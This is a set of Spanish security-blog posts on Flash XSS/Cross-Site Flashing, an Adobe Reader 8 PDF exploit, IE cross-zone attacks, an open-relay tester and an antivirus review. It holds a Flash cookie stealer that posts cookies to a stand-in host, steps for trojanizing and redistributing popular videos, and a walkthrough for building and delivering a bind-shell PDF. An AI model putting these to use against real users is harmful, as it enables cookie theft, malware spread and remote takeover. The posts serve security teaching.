Flasheando - XSS usando Flash y Cross-site Flashing (XSF)
Muchos vemos las aplicaciones en flash como una caja negra, no conozco muchos programadores que se dediquen a la creación de aplicaciones en flash, generalmente son diseñadores gráficos los que se dedican a esta tarea, al menos en lo que yo he visto. La realidad es que una aplicación hecha en flash es como cualquier otra, puede tener parámetros de entrada y de salida, y si esos parámetros no se validan, se pueden hacer cosas realmente graves.

El mayor problema con flash es la falsa seguridad que genera en los desarrolladores. Como el código no es visible directamente, parece como que nadie pudiera verlo, pero no es así. Las aplicaciones flash se ejecutan en el cliente por un intérprete de bytecodes, tal como lo hacen los aplets de java. Esto quiere decir que el cliente tiene en su poder el programa, y los bytecodes pueden ser decodificados fácilmente utilizando varias herramientas. El código obtenido es el llamado Action Script. Action Script se utiliza para añadirle interacción a las animaciones de flash, y es donde aparecen los parámetros ingresados por el usuario.

Entre las herramientas que probé, para decodificar bytecodes de flash elegí flare, la cual es gratis, pero no del todo libre. El uso de flare es muy simple, ejecutamos el comando flare y pasamos como parámetro el swf que queremos decompilar. El output es un archivo llamado igual, pero con extensión flr, el cual es el código Action Script en texto plano.

Y qué buscamos al decompilar un archivo flash? lo mismo que cuando queremos inyectar código en cualquier otro lenguaje: el uso variables ingresadas por el usuario sin validar. Como siempre, dependiendo el lugar donde se usen estas variables, podremos realizar distintos tipos de ataques XSS.
Si bien no es el motivo de este post, la decompilación de flash muchas veces nos puede servir también para encontrar credenciales hardcodeadas en el swf. Parece increíble, pero se hace bastante, y se debe a lo que menciono párrafos arriba, la falsa seguridad de no tener el código accesible a simple vista. Además de credenciales, inspeccionar el código nos permite acceder otra información valiosa, como lo demuestra Zerial en su artículo Asaltando un sitio de series online.

Para encontrar las variables que el usuario puede enviar a una aplicación de forma rápida, podemos inspeccionar el HTML de la página que embebe el flash. Cuando embebemos un swf en nuestra página utilizamos los tags <object>, <param> y <embed>. con <object> indicamos especificaciones de lo que vamos a embeber como alto, ancho, id, versión de flash, etc. Con <embed> especificamos la ubicación del archivo y también podemos especificar parámetros (posible inyección). Por último, <param> nos sirve para enviar parámetros a la aplicación (posible inyección).
La forma en que el usuario puede enviar parámetros a la aplicación es usando los FlashVars, o bien especificando las variables en la URI con la que embebemos la aplicación. Algunos ejemplos son:
- <param name="FlashVars" value="var1=val1&var2=val2">
- <embed src="miflash.swf" width="550" height="400" flashvars="var1=val1&var2=val2"></embed>
- <iframe src="http://www.ejemplo.com/miflash.swf?var1=val1&var2=val2">
El tercer ejemplo usa un iframe, pero en realidad podemos hacer la llamada ingresando la URI en la barra de direcciones del navegador.
Flash incluso permite cargar las variables desde otra URL utilizando el objeto LoadVar:
var vars= new LoadVar();
vars.load('http://www.ejemplo.com/');
Dos cosas a tener en cuenta sobre las variables en Action Script v2 son que los parámetros enviados por el usuario (FlashVars) se pueden acceder a través de las variables globales, y que todas las variables globales que se usan sin previa inicialización se asumen como ingresadas por el usuario a través de parámetros. Esto que es muy feo (idéntico al caso de register_globals en php), nos permite explotar toda variable que el usuario olvidó inicializar. Las variables globales se acceden anteponiendoles _root, _global o _level0.

Volviendo al caso de variables globales sin inicializar, si tenemos por ejemplo el siguiente código:
getURL(_root.miarchivo, _blank)
y _root.miarchivo no se inicializó antes de ejecutar la sentencia, un atacante podría utilizar este hecho para abrir una URL arbitraria haciendo http://www.ejemplo.com?miarchivo=http://www.malomalo.com/maligno.xml

Existen varias funciones proporcionadas por flash que resultan interesantes para realizar ataques XSS. El artículo de testeo XSF de OWASP lista las siguientes (disponibles desde la versión r47):
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );
flash.external.ExternalInterface.call(_root.callback)
htmlText
De éstas, con la que más me he encontrado es getURL(). getURL hace lo que se imaginan, abre la url que le pasamos por parámetro. getURL toma 1 parámetro obligatorio, la URL, y 2 opcionales. El primero de los opcionales indica si deseamos abrir la url en el frame actual (_self), en una nueva ventana (_blank), en un frame padre (_parent), o en el frame padre de todos (_top). El último parámetro indica si deseamos enviar las variables por GET o por POST. Pueden leer la especificación de la función en la misma página de adobe.

Un ejemplo que he visto en algunos banners, es el siguiente:
  button 3 {

on (release) {
getURL(_root.link, _blank);
}
}
}
Oh my!, ya ven lo que yo veo? aquí se usa la variable global "link", la cual ingresa el usuario como parámetro. El tag que embebe estos banners se ve como:
<embed width="100" height="50" quality="high" src="http://www.ejemplo.com/banner.swf?link=http%3A%2F%2Fwww.propaganda.com%2F"></embed>
donde se ve que el link se pasa como parámetro, codificado usando URL encoding. Si el usuario hace click sobre el banner, se abre la URL del parámetro.
Esto permite al diseñador usar el mismo código para hacer distintas propagandas; sólo cambiando el link, el banner apunta a otro site... pero por favor! esto es horrible! Pueden ver algunos ejemplos en el artículo Jugando con vulnerabilidades antiguas en sitios web de la comunidad Hack-IT.

Como atacante yo podría armar la url: http://www.ejemplo.com/banner.swf?link=javascript%3Aalert(document.cookie) la cual me muestra un alert con la cookie del usuario (podría robar la cookie enviándola a un site que yo poseo), y, a través de ingeniería social, hacer que el usuario clickee el banner. Si señores, tenemos un caso de XSS usando flash.


Cuándo aparece Cross-Site Flashing (XSF)?

Cross-site Flashing se llama al ataque donde importamos un archivo flash swf malicioso a través de un flash vulnerable.
Una función clásica para realizar este ataque es loadMovie(), la cual nos permite importar otros archivos swf.

Hay que tener en cuenta que las aplicaciones flash pueden ejecutar JavaScript cuando están embebidas en un browser, hacer peticiones HTTP, ejecutar películas externas, reproducir archivos de audio/video, y mostrar un conjunto reducido de código HTML dentro de un TextField.

Entonces, cuál es la idea? la idea es encontrar una aplicación flash que nos permita cargar un swf creado por nosotros, y que contenga código malicioso, como por ejemplo, un cookie stealer.


XSF reglas a tener en cuenta

Versiones modernas de flash poseen una política por defecto que permite a una aplicación flash cargar otro flash, solamente si se encuentra en el mismo subdominio. Osea, un flash que se encuentre en ejemplo.com solo podrá cargar otros flashes que estén en ejemplo.com. Cada aplicación se encuentra contenida en una caja de arena (sandbox), y todo swf externo importado tendrá acceso al sandbox y podrá ver/modificar las variables/objetos/clases.

Lo bueno (o lo malo) es que existe es posible cambiar este comportamiento por defecto, y permitir a un swf cargar otros swfs que se encuentren en otros dominios. Esto se hace utilizando la función AllowDomain, el archivo crossdomain.xml y el atributo AllowScriptAccess.

La función se utiliza dentro del código de la aplicación usando System.Security.allowDomain("otrosite.com").

El archivo crossdomain.xml debe colocarse dentro del directorio raíz del servidor y a partir del atributo allow-access-from, se puede especificar desde que otros sites se pueden importar swf:
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="www.company.com">
</cross-domain-policy>
Por último, el atributo AllowScriptAccess se utiliza en el tag que embebe la aplicación flash y los valores posibles son always (improtar desde cualquier lado), never (nunca importar nada), samedomain (solo importar desde el mismo dominio). El valor default es SameDomain. Un ejemplo de su uso es:
<embed allowscriptaccess="always" src="ejemplo.swf" type="application/x-shockwave-flash" width="200" height="150"></embed>


Creando nuestros propios Flashs

Para crear swfs se puede utilizar la herramienta MTASC. Para ello primero hay que crear un archivo con el código Action Script (evil.as), y luego lo compilamos usando:
mtasc -swf evil.swf -main -header 1:1:1 evil.as
Donde la opción -swf indica un path a un archivo swf existente y le inserta el código. Si no existe, se crea y toma el valor de la opción -header para saber ancho:alto:fps. Por su parte -main especifica que se llame al método estático main cuando se cargue el objeto.

El código de evil.as podría ser algo como:
class evil
{
function evil()
{
}

static function main(mc)
{
getURL("javascript:document.location=\"http://www.malomalo.com?cookie=\"+document.cookie");
}
}
es decir, un cookie stealer hecho en flash!


El paso final

Para terminar el ataque, tenemos que encontrar swfs que permitan cargar otros swf y tengan habilitada la política para permitir cualquier dominio como fuente.

La búsqueda de swf vulnerables se puede hacer fácilmente en google, con el término de búsqueda filetype:swf. Existen muchas aplicaciones flash utilizadas por múltiples sites que son famosas por ser vulnerables, una era la tag cloud. Esto facilita aún más la búsqueda, solo hace falta estar atento a los avisos sobre aplicaciones vulnerables, buscar los términos necesarios en google y explotarlas.


Backdoors

Un ataque interesante es incrustrar código malicioso en aplicaciones ya existentes y redistribuirlas. Por ejemplo, podríamos tener un video que llame mucho la atención, lo descargamos, le incrustramos nuestro código y lo redistribuimos. Dado que es un video famoso, muchos querrán verlo y al hacerlo, ejecutarán nuestro código...

Para incrustrar código en aplicaciones ya existentes, podemos usar las herramientas swfdump y swfcombine, provistas por el conjunto SWFTools. SWFTools suele estar disponible en la mayoría de las distribuciones, así que no es difícil de instalar.
A partir del video original video.swf necesitamos obtener atributos como ancho, alto y taza. Estos valores los necesitamos para poder combinar nuestro evil.swf en el video. Para esto usamos la herramienta swfdump de la siguiente forma:
swfdump --width --height --rate video.swf

que nos puede dar algo como -X 200 -Y 100 -r 20.00
Ahora usamos esos valores para compilar nuestro código malicioso de la siguiente manera:
mtasc -swf evil.swf -main -header 200:100:20 evil.as
Una vez que tenemos nuestro código adaptado, solo resta combinarlo con el video original usando swfcombine:
swfcombine -o evil_movie.swf -T evil.swf video.swf
Con esto conseguimos evil_movie.swf que es el video con el código malicioso incrustrado... fácil no?


Conclusiones

Las aplicaciones en flash representan un gran riesgo. El mayor problema es que, en general, son desarrolladas por gente sin conocimientos de seguridad, incluso muchas veces sin conocimientos de programación!
Explotar vulnerabilidades en flash es muy simple, muchas veces basta con mirar los parámetros, y otras en revisar un poco el código Action Script. Herramientas como flare, mtasc o SWFTools facilitan la tarea.

Mi recomendación es NO usar flash. Y por qué tan tajante? bueno, para empezar flash tiene una larga historia de exploits, la gente de adobe no viene haciendo bien las cosas (igual que con su adobe reader). Por otro lado, flash suele ser un dolor de cabeza para los browsers, llegando a crashearlos cada cierto tiempo. Además, muchas veces se utilizan pesadas aplicaciones en flash para realizar trabajos que se pueden cubrir con gifs y un poco de JavaScript. Por último, lo que vimos en este artículo habla por si solo, existen muchas formas de utilizar estas aplicaciones de forma maliciosa.

Si bien no quise extender más el artículo, existen otras formas de realizar ataques, como usando la función asfunction e incrustrando HTML dentro del flash (algo mencioné, pero no mostré cómo). Para leer un poco más, vean las referencias, donde hay buen material.


Referencias

- Testing for Cross site Flashing OWASP.
- A Lazy Pen Tester’s Guide to Testing Flash Applications.
- XSS Vulnerabilities in Common Shockwave Flash Files.
- Testing Flash Applications - 6th OWASP AppSec Conference May 2007 (Stefano Di Paola).
- XSS Attacks - Cross Site Scripting Exploits and Defence (Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D. Petkov, Anto Rager, Seth Fogie).
Como explotar Adobe Reader 8
Introducción

El propósito de este artículo es demostrar los riesgos que se corren cuando se utiliza Adobe Reader con Javascript activado. Un documento Adobe Reader malicioso puede permitirle a un atacante tener acceso a las máquinas de los usuarios y sus archivos, ejecutar código arbitrario, provocar denegación de servicio y utilizarlas como pívot para acceder a otros equipos de la intranet.

La firma de seguridad "ScanSafe" anunció que, según su cuenta, los documentos PDF maliciosos conformaron el 80% de los exploits para el final de 2009, como se informa en el sitio COMPUTERWORLD:

http://www.computerworld.com/s/article/9157438/Rogue_PDFs_account_for_80_of_all_exploits_says_researcher

Como ejemplo se utiliza una vulnerabilidad de stack overflow en la versión 8.1.2 de Adobe Reader, lo cual permite la ejecución de código arbitrario de forma remota.

Desarrollo

A continuación se detalla el procedimiento utilizado para tener acceso remoto a la máquina local.

La vulnerabilidad explotada consiste en un stack overflow en la función de Javascript util.printf() de Adobe Reader. Esta vulnerabilidad se detalla en el siguiente boletín del sitio SecurityFocus:

http://www.securityfocus.com/bid/30035/info

Esta vulnerabilidad se explota construyendo un documento PDF que contiene un formulario con una porción de código Javascript. Este código malicioso realiza un overflow de la pila en la llamada a la función util.printf(), lo que permite ligar una instancia del intérprete de comandos de Windows (cmd.exe) a un puerto aleatorio (en este caso el puerto 4444) para que el atacante se conecte de forma remota y ejecute comandos arbitrarios (utilizando telnet, netcat, etc.).

Para construír el documento PDF con Javascript se utiliza "Scribus", una aplicación Open Source para autoedición (http://www.scribus.net). En los sistemas operativos de la familia Debian se instala a través del comando:

sudo apt-get install scribus

En este caso se utilizó un botón para ejecutar el exploit, aunque se puede disparar automáticamente ante cualquier evento, como por ejemplo al abrir, cerrar o realizar cualquier otra acción sobre el documento PDF.

Para agregar un botón, se selecciona "Button" en la barra de herramientas "PDF Tools". Luego de dibujar el botón con el mouse, se hace clic derecho sobre el mismo y se selecciona "PDF Options > Field Properties". En la pestaña "Action" se selecciona "Type: Javascript", "Event: Mouse Down" y luego se inserta el código del exploit en el campo "Script:", el cual se puede descargar desde:

http://www.milw0rm.com/exploits/7006

Luego se presiona "OK" y se selecciona "File > Export > Save as PDF".

El atacante puede enviar este documento a la víctima a través de distintos medios, como puede ser correo electrónico, aplicaciones de Chat, IRC, pendrives, etc. Una vez que la víctima abre el documento (utilizando Adobe Reader con Javascript activado) se ejecuta el exploit y se abre el puerto 4444 para que el atacante se conecte al intérprete de comandos de forma remota.

En la siguiente figura se observa el documento abierto con Adobe Reader:

Antes de ejecutar el exploit se consulta al sistema operativo para determinar que el puerto 4444 está cerrado:

Una vez que se presiona el botón, se ejecuta el exploit y se abre una instancia del intérprete de comandos ligado al puerto 4444. Se consulta nuevamente al sistema operativo y se observa que el puerto 4444 está abierto y listo para iniciar conexiones:

A partir de este momento, desde la máquina del atacante se puede iniciar una sesión remota en la máquina del cliente y ejecutar comandos arbitrarios utilizando telnet o netcat, como se observa en la siguiente figura:

De esta forma el atacante logra control total de la máquina de la víctima de forma remota, lo único que necesita es enviar el documento por correo electrónico y esperar que la víctima lo abra.

Desde la máquina de la víctima, se observa la conexión establecida con la máquina del atacante, consultando al sistema operativo:

Si la intranet está protegida por un firewall/proxy, se puede modificar el exploit (cambiando el payload) para que sea la máquina víctima quien inicie la conexión con la máquina del atacante (por ejemplo a través de un túnel con el proxy). De esta forma las máquinas en la intranet son vulnerables a cualquier atacante externo.

Por otra parte, a pesar de que el antivirus de McAfee detectó algunos documentos PDF con exploits de diferentes vulnerabilidades, no detectó este exploit en particular.

Parche

Desactivar Javascript en todas las versiones de Adobe Reader y mantener actualizado Adobe Reader o migrar a una aplicación alternativa como Foxit Reader en los sistemas Windows.

Solución

Formatear el disco C:\ e instalar cualquier distribución GNU/Linux. Utilizar "evince" (http://www.gnome.org/projects/evince).
Cross Zone Scripting / Cross Domain Attack
Siguiendo con la seguidilla de ataques cross, hoy les traigo un ataque no tan citado, pero igualmente importante.

Si antes nos metimos con la forma en que un server nos puede ayudar (método TRACE habilitado), ahora nos metemos con lo que un browser nos puede dar.

El Cross Zone Scripting, también conocido como Cross Domain Attack, se basa en falencias del browser para acceder cosas que de otra forma no podríamos ver.
Este ataque está pensado para el concepto de zonas, implementado en Internet Explorer (pero no específico de éste, dado que es un concepto genérico). Este concepto se basa en diferentes niveles de confianza dependiendo la zona en que se encuentre un site. Por ejemplo, las zonas predefinidas en IE son:
# Internet. Zona default. Todo lo que no pertenece a otras zonas va aca.
# Local intranet.
# Trusted sites. Cuenta con una lista de sitios de confianza, los cuales tienen permitido ejecutarse con mínimas restricciones de seguridad (e.g. ejecutar objetos ActiveX inseguros y sin firmar).
# Restricted sites.
También existe una zona adicional escondida llamada Local Computer zone (o My Computer zone). Esta zona es la más interesante porque permite acceder archivos de la máquina.
Local intranet, Trusted sites y Local Computer son las zonas con mayores privilegios, mientras que Internet es la zona con menos privilegios.
Cada site se ubica en una zona diferente, dependiendo la confianza que tengamos en el site. Por default, si no asignamos una zona a un site, éste se ubicará en la zona Internet.

Lo que se busca hacer con éste tipo de ataques es lograr ejecutar código de un site que está en la zona Internet (con pocos privilegios) como si perteneciera a una zona con privilegios (preferentemente Local Computer), es decir, escalar privilegios. Estando en la zona apropiada, el browser podría permitirnos hasta instalar programas en la computadora.
En la página de wikipedia se pueden encontrar algunos ejemplos de cómo explotar esta vulnerabilidad, pero supuestamente ya están parchados en versiones actuales de Internet explorer.

Un ejemplo bastante moderno que pueden probar es el listado en una entrada del 2008 en milw0rm. Allí se muestra un exploit que permite a una página no confiable ejecutar un programa (en el ejemplo la calculadora de windows). El cross-zone se logra cuando un usuario intenta imprimir la página utilizando la opción table of links. El script de impresión genera un nuevo HTML a partir del original y ahí se inserta el programa a ejecutar. Como el proceso de impresión se ejecuta con privilegios Local Computer, IE le permitirá al atacante ejecutar lo que desee. Yo lo probé en IE6 viejo y anda perfecto, supuestamente también anda en IE7 y en IE8b.

Hace unos días también leí sobre un nuevo ataque. Si el atacante logra adivinar el path completo a la versión almacenada en cache de la página que se está visualizando , éste podría incluir en el código de la página maliciosa una redirección desde la página actual a la versión que está almacenada en cache. Como la página que está en cache está en la máquina local, ésta se ejecutará con los máximos permisos, evadiendo el control de zonas! Pueden leer el advisor en Internet Explorer Security Zone restrictions bypass.


Referencias

- Cross-zone scripting (wiki)
Open Relay Tester
Después de una semanita de vacaciones vuelvo al trabajo y a los posts.

En esta entrega les traigo una herramienta de desarrollé hace un par de meses para testear servidores SMTP y verificar si son Open Relay. Un servidor de mails es Open Relay si permite a cualquier usuario enviar e-mails sin previa autenticación, esto es, no hace falta ninguna credencial para poder enviar e-mails. Pueden encontrar un ejemplo sobre el uso (o abuso) de un servidor open relay en el post Dando pelea al SPAM: Sender Policy Framework (SPF), donde explico como es posible conectarnos a un servidor SMTP utilizando telnet y enviar e-mails.

La cuestión es que tener servidores Open Relay es feo feo, porque cualquier persona/programa los puede utilizar para enviar e-mails a nombre nuestro. Osea, alguien se podría conectar al servidor de empresa.com y enviar e-mails @empresa.com. El uso común de los Open Relay es enviar SPAM. El spammer se conecta a nuestro servidor y envia e-mails de forma masiva a cualquier parte, y todo a nombre de nuestro dominio emrpesa.com.
Algunas de las consecuencias de este problema es que usan nuestro ancho de banda, llenan nuestros logs, usan nuestro procesador, y lo peor de todo, es que ensucian nuestro nombre. Si nuestro dominio es conocido como spammer, distintos servicios nos listarán en sus listas negras, rebotando nuestros e-mails por ser considerados SPAM (aún en los casos que no es spam).
Obviamente todo esto es malo, y necesitamos hacer algo al respecto. Un punto de partida es revisar si nuestros servidores son Open Relay y configurarlos para que dejen de serlo. Es por eso que escribí este programa, para identificar aquellos servidores con este problema.

El programa está escrito en python y es muy simple. Uno puede indicarle la dirección del servidor a testear, o bien un archivo con una lista de servidores. Además debemos indicar qué dirección de e-mail utilizar para realizar las pruebas. El programa testea el/los servidores con algunas combinaciones de la dirección de e-mail entregada y devuelve 2 archivos: error.log donde se listan los errores encontrados y openrelay.log donde se listan los servidores que son Open Relay.

#!/usr/bin/python
# -*- coding: utf-8 -*-

######################################################
# Created by: d3m4s1@d0v1v0
# Date: 2009-11-27
# Modified: 2009-11-30
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License v2 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
######################################################

import os
import sys
import smtplib
from optparse import OptionParser
from time import strftime, gmtime
import socket

class smtptester:
def __init__(self):
#self.fromaddr = fromaddr
self.logfile = open("error.log", "w")
self.openrelay = open("openrelay.log", "w")
self.openrelay.write("The following configurations permits to send e-mails:\n")

def __del__(self):
self.logfile.close()
self.openrelay.close()

def set_logfile(self, logfile):
if (os.path.exists(logfile)):
self.logfile = open(logfile, "w")

def test_servers(self, filename, fromaddr, toaddr):
if(not os.path.exists(filename)):
print "file "+f+" doesn't exist!"
exit(-1)
f = open(filename)

for addr in f:
splitedaddr = addr.split(":")
if(len(splitedaddr) > 1):
port = splitedaddr[1]
else:
port = "25"
self.test_server(addr, fromaddr, toaddr, port)

def test_server(self, addr, fromaddr, toaddr, port="25"):
print "--------------------------------"
print "testing server "+addr
server_ip = socket.gethostbyname(addr)
(fromuser, fromdomain) = fromaddr.split("@")
(touser, todomain) = toaddr.split("@")

# the from addresses to test
fromlist = (fromaddr, fromuser+"@"+server_ip, "demasiadovivo@anything.com")
rcptlist = (toaddr, touser+"@"+server_ip, '"'+toaddr+'"'+"@"+server_ip, "@"+server_ip+":"+toaddr)

try:
smtp = smtplib.SMTP(addr, port)
except:
print "can't connect to server: "+str(sys.exc_info()[1])+"\n"
self.logfile.write("can't connect to server: "+str(sys.exc_info()[1])+"\n")
return

msg = ("From: d3m4s1/-\d0v1v0 <%s>\r\nTo: %s \r\nSubject: d3m4s1@d0v1v0 smtp relay test!\r\n\r\nthis is an open relay test\r\n\r\n" %(fromaddr, toaddr))

for rcpttest in rcptlist:
for fromtest in fromlist:
try:
print "testing from: "+fromtest+" to: "+rcpttest+"... ",
smtp.sendmail(fromtest, rcpttest, msg)
smtp.docmd("RSET")

self.openrelay.write("-server address="+addr+", FROM: "+fromtest+", TO: "+rcpttest+"\n")
print "[OK]"

except:
self.logfile.write("["+str(strftime("%Y-%m-%d %H:%M:%S", gmtime()))+"] the mail couldn't be send from: "+fromtest+" to: "+rcpttest+" | error: "+str(sys.exc_info()[1])+"\n")
print "[FAIL]"
smtp.quit()
print ""

# set command line options
parser = OptionParser(usage="usage: %prog <-a|-f> <address|filename> -s <sender> -r <receiver> [options]", version="%prog 0.2")
parser.add_option("-a", "--address",
metavar="SERVER", dest="server", help="server address (test a single server)")
parser.add_option("-p", "--port",
metavar="PORT", dest="port", help="server port (default 25)")
parser.add_option("-f", "--file",
metavar="FILE", dest="filename", help="file containing the address of the servers to test")
parser.add_option("-s", "--sender",
metavar="FROM", dest="sender", help="sender address (e.g. demasiadovivo@example.com)")
parser.add_option("-r", "--receiver",
metavar="RCPT", dest="receiver", help="receiver address (e.g. other@example.com)")


(options, args) = parser.parse_args()

if((not options.server) and (not options.filename)):
parser.print_help()
exit(-1)

tester = smtptester()
if(options.sender and options.receiver):
if(options.server):
tester.test_server(options.server, options.sender, options.receiver, options.port)
elif(options.filename):
tester.test_servers(options.filename, options.sender, options.receiver)
else:
parser.print_help()
else:
parser.print_help()


Un ejemplo del uso del programa es:
# ./smtp-tester.py -a 192.168.1.25 -s test@test.com -r open@empresa.com
--------------------------------
testing server 192.168.1.25
testing from: test@test.com to: open@empresa.com... [OK]
testing from: test@192.168.1.25 to: open@empresa.com... [OK]
testing from: demasiadovivo@anything.com to: open@empresa.com... [OK]
testing from: test@test.com to: test@192.168.1.25... [FAIL]
testing from: test@192.168.1.25 to: test@192.168.1.25... [FAIL]
testing from: demasiadovivo@anything.com to: test@192.168.1.25... [FAIL]
testing from: test@test.com to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: test@192.168.1.25 to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: demasiadovivo@anything.com to: "open@empresa.com"@192.168.1.25... [FAIL]
testing from: test@test.com to: @192.168.1.25:open@empresa.com... [FAIL]
testing from: test@192.168.1.25 to: @192.168.1.25:open@empresa.com... [FAIL]
testing from: demasiadovivo@anything.com to: @192.168.1.25:open@empresa.com... [FAIL]

donde se testea la posibilidad de enviar e-mails a open@empresa.com desde la cuenta test@test.com. Vale aclarar que los e-mails son realmente enviados en la prueba, osea, traten de poner como destinatario una cuenta que ustedes posean.

El programa dista de ser optimo, dado que algunas combinaciones de e-mails no son necesarias una vez que una de las pruebas anteriores falló... es algo a corregir en alguna próxima versión.
Espero que les sea de utilidad.
review: McAfee ePolicy Orchestrator (ePO)
En la empresa donde trabajo utilizamos el antivirus McAfee, y realmente me sorprendió la funcionalidad provista por la herramienta de administración ePolicy Orchestrator (conocido como ePO entre los amigos). El otro día tuve una capacitación al respecto y me dejó con una muy buena imagen del software, el cual es un lujo para el administrador.

Si bien McAfee puede no ser el antivirus con mejores referencias en los reviews de detección, la realidad es que no me puedo quejar. En el tiempo que llevo trabajando aca no hemos tenido serios problemas con virus, más allá de las clásicas detecciones.

Para el que no la conozca, ePolicy Orchestrator es una herramienta que nos permite administrar los antivirus instalados en todas las máquinas de la red, permitiendo ver reportes muy customizables (cientos de opciones) sobre lo que sucede en la red, además de facilitarnos la tarea de actualizar los motores de antivirus instalados en cada máquina, como así también establecer políticas.

Esta completísima herramienta nos deja organizar la red en grupos de máquinas y establecer políticas por grupos. También es posible establecer políticas por máquina, o para todas las máquinas.

Las políticas son instrucciones sobre cómo actuar ante diferentes eventos. A través de ellas podemos hacer cosas como forzar que el antivirus siempre elimine un archivo cuando está infectado, o avisar al usuario para tomar acción. También es posible fijar los servidores de actualización de cada grupo de máquinas.
Pero eso no es todo, también podemos establecer políticas sobre a qué archivos o claves de registro puede acceder el usuario, o proceso, reportando o negando la acción. Lo mismo para los ejecutables que puede abrir cada usuario. Permite una granularidad muy fina sobre qué puede y qué no puede hacer un dado usuario, grupo, o máquina.

La parte de reportes es, como dije, excelente. Nos permite ver estadísticas e información sobre los eventos que ocurren en la red. Es así como podemos rápidamente observar cuáles fueron los virus con más detecciones, las máquinas/usuarios que reportaron mayor cantidad de infecciones.
Todo es customizable a través de filtros, y podemos armar reportes (muy flexibles) con los datos que más nos interesen y enviarlos por mail.

Toda esta magia se lleva a cabo instalando un servidor Orchestrator y agentes en cada máquina. El agente no es el antivirus, sino el que se comunica con el servidor para obtener los comandos. A través de los agentes podemos enviar comandos para que se instale un antivirus o alguna otra herramienta de McAfee (antispam, firewall, etc).
Los agentes se comunican con el servidor cada ciertos intervalos de tiempo (que se pueden customizar). Cada vez que se conecta al servidor puede obtener comandos (políticas, acciones, configuraciones, etc) o enviar reportes sobre lo que sucedió en la máquina donde se encuentra instalado. Si hay algo para hacer, el server se lo indica y el agente procede.


Como se habrán cuenta, el funcionamiento es idéntico al de una botnet, con un servidor de comandos y los bots que son los agentes.

Este sistema hace la vida del administrador de red más placentera (si es que puede ser placentera), porque de esta forma todo trabajo se realiza administrando un servidor en lugar de tener que ir máquina por máquina cambiando configuraciones. La consola se accede a través de interfaz web y permite tener distintos niveles de usuarios. Es posible crear roles de usuarios con sus correspondientes vistas.
El administrador se limita a armar las configuración que desea y el servidor se encarga de hablar con los agentes y ocuparse de que las cosas se hagan. Si algo falla, el servidor lo reporta.

Imagínense, el admin puede decir, quiero que todas estas máquinas no puedan ejecutar tal proceso, o quiero que estas máquinas utilicen este motor de antivirus, o quiero que me reporten tales datos... es realmente un lujo.

Además de la parte administrable, el Orchestrator nos permite reducir el uso de ancho de banda porque funciona como servidor de updates. Es decir, Orchestrator se conecta a la página de McAfee, descarga los updates y luego lo distribuye a todas la máquinas de la red interna.
También es posible tener repositorios de updates separados al orchestrator por si nuestra red está dividida en sectores, o por si tenemos muchas máquinas y no queremos saturar al pobre Orchestrator.

En resumen, considero esta herramienta un lujo. Posiblemente existan soluciones de otros proveedores de antivirus que sean similares a esta, pero no creo que puedan tener mucho más de lo que ésta trae.
Si deben administrar cientos de máquinas en una organización utilizando Windows, les recomiendo que le den un vistazo a este excelente producto.

Quiero dejar en claro que cuando hablo de excelente herramienta, me refiero a funcionalidad. Este, como todo software, tiene sus problemas de vulnerabilidades. Existen versiones de agentes vulnerables a exploits tan graves como remote code execution. Es claro que tener un programa más en la máquina escuchando en un puerto genera un problema más de seguridad. Esto se puede mejorar instalando firewalls locales y filtrando todo acceso que no provenga del Orchestrator.

Si desean leer un poco más sobre este producto, descarguen la guía de ePolicy Orchestrator provista por McAfee, la cual provee información sobre arquitectura, funcionamiento, instalación y algún que otro dato más.
Lo más leido en enero
Después del post número 100, como arrancamos nuevo mes, no me queda otra que hacer un nuevo ranking de posts, esta vez con lo más leído durante enero.
Enero es un mes de vacaciones por estos lares así que el público se redujo un poco. Igual se leyó bastante, sobre todo los artículos de XSS.
En fin, la hago corta y hago el clásico top 5 de lo más leído:

1. Rompiendo a lo grande: XSS avanzado. Luego de conocer el funcionamiento básico del XSS, nada mejor que conocer algunas técnicas avanzadas. En este post trato algunas técnicas avanzadas como XSS a través de POST, XSS Shell y Cross-Site Tracing.

2. Combatiendo el Cross Site Scripting. Porque trabajamos en seguridad, no nos alcanza con conocer el ataque, sino que también necesitamos defendernos. El XSS es relativamente simple de evitar, pero hay que prestar mucha atención y seguir algunas reglas básicas.

3. Tunear logs de SQL Server. Si administras bases de datos SQL Server es necesario loggear, y para loggear hace falta conocer las herramientas que MS provee, por eso escribí este post.

4. Crear máquina virtual en CentOS usando Xen. Un clásico de los top de mes, este artículo sigue siendo de los más útiles para los navegantes y me alegra mucho. Si van a virtualizar, consideren Xen como una excelente opción.

5. Cómo crear un corrector ortográfico. Otro clásico. Te moris por saber como funciona un corrector ortográfico? bueno, este es tu post =P
Mis artículos favoritos: 100 posts en IT Freek!
Aunque no lo crea, he llegado al post número 100 en IT Freek. Cuando empecé no pensaba en que podría mantener el blog por tanto tiempo, así que estoy realmente orgulloso de haber llegado al número 100 en menos de un año.

Para festejar la centena de post, me gustaría hacer un top 10 personal de los artículos que escribí. Si bien es claro que escribo sobre temas que me interesan, por lo que todos los artículos me resultan interesantes, es obvio que surge una preferencia en cuanto a la calidad, utilidad y el tiempo que me llevó escribir un dado artículo, sobre todo valuando el tiempo tomado para investigar y el aprendizaje que logré a partir de él. Es por eso que, si tengo que elegir 10 de mis artículos, me quedaría con los siguientes:

1. Cruzando información, Cross-Site Scripting (XSS), Rompiendo a lo grande: XSS avanzado y Combatiendo el Cross Site Scripting. Sin dudas mi favorito, por ser mi ataque web preferido, por la cantidad de horas dedicadas a investigar y por todo lo que aprendí en el proceso. Luego del libro XSS Attacks, creo que, en conjunto con algunos artículos que publiqué luego (Reflected XSS a través de SQL Injection y Cross-Site Request Frogery (CSRF): Haz lo que quiero sin que lo sepas), esta es la referencia más completa al XSS.

